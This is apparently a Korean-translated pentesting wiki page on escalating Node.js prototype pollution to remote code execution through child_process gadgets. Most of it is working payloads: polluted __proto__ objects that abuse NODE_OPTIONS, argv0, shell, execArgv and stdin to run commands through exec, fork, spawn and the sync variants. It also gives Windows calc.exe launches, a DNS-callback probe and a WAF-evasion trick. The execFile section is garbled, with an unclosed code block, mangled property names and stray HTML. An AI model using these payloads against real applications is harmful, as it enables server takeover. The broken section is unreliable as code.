Prototype Pollution to RCE

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취약한 코드

Imagine a real JS using some code like the following one:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE via env vars

PP2RCE는 Prototype Pollution to RCE (원격 코드 실행)을 의미합니다.

이 writeup에 따르면, **child_process**의 어떤 메서드(예: fork 또는 spawn 등)를 사용하여 프로세스가 생성될 때, 새로운 env vars를 생성하기 위한 프로토타입 오염 가젯인 normalizeSpawnArguments 메서드가 호출됩니다:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

코드를 확인해보면 .env 속성을 오염시켜 **envPairs**를 독살할 수 있는 것이 가능합니다.

__proto__ 독살

child_process 라이브러리의 normalizeSpawnArguments 함수가 작동하는 방식 때문에, 프로세스에 새로운 env 변수를 설정하기 위해서는 무언가를 오염시키기만 하면 됩니다. 예를 들어, __proto__.avar="valuevar"를 실행하면 프로세스는 avar라는 이름의 변수를 valuevar 값으로 가진 상태로 생성됩니다.

그러나 env 변수가 첫 번째가 되기 위해서는 .env 속성을 오염시켜야 하며 (일부 메서드에서만) 그 변수가 첫 번째가 됩니다 (공격을 허용함).

그래서 다음 공격에서 **NODE_OPTIONS**는 .env 안에 없습니다.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

constructor.prototype 오염

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

이전과 유사한 페이로드가 이 글에서 제안되었습니다. 주요 차이점은 다음과 같습니다:

• nodejs payload를 파일 /proc/self/environ에 저장하는 대신, **/proc/self/cmdline**의 argv0에 저장합니다.

• 그런 다음, **NODE_OPTIONS**를 통해 파일 /proc/self/environ을 요구하는 대신, **/proc/self/cmdline**을 요구합니다.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS 상호작용

다음 페이로드를 사용하여 이전에 논의한 NODE_OPTIONS 환경 변수를 악용하고 DNS 상호작용을 통해 작동 여부를 감지할 수 있습니다:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

또는 WAF가 도메인을 요청하는 것을 피하기 위해:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE 취약점 child_process 함수

이 섹션에서는 child_process의 각 함수를 분석하여 코드를 실행하고 해당 함수를 강제로 코드 실행에 사용할 수 있는 기술이 있는지 확인합니다:

exec 악용

// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

execFile 악용

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

**`execFile`**가 작동하려면 **반드시 node**를 실행해야 NODE\_OPTIONS가 작동합니다.\
**node**를 실행하지 않는 경우, 실행 중인 것을 **환경 변수를 사용하여 실행을 변경**할 수 있는 방법을 찾아야 합니다.

**다른** 기술들은 이 요구 사항 없이 **작동**합니다. 왜냐하면 **프로토타입 오염**을 통해 **실행되는 것**을 수정할 수 있기 때문입니다. (이 경우, `.shell`을 오염시킬 수 있더라도, 실행되는 것은 오염되지 않습니다).

</details>

<details>

<summary><code>fork</code> exploitation</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');

spawn 악용

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

execFileSync 악용

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

execSync 악용

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

spawnSync 악용

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

강제 스폰

이전 예제에서는 **spawn**을 호출하는 기능이 존재해야 한다는 것을 보았습니다 (무언가를 실행하기 위해 사용되는 **child_process**의 모든 메서드는 이를 호출합니다). 이전 예제에서는 코드의 일부였지만, 코드가 호출하지 않는 경우는 어떻게 될까요?

require 파일 경로 제어

이 다른 글에서 사용자는 **require**가 실행될 파일 경로를 제어할 수 있습니다. 이 시나리오에서 공격자는 시스템 내에서 .js 파일을 찾아야 하며, 해당 파일이 가져올 때 spawn 메서드를 실행합니다. 가져올 때 spawn 함수를 호출하는 일반적인 파일의 몇 가지 예는 다음과 같습니다:

• /path/to/npm/scripts/changelog.js

• /opt/yarn-v1.22.19/preinstall.js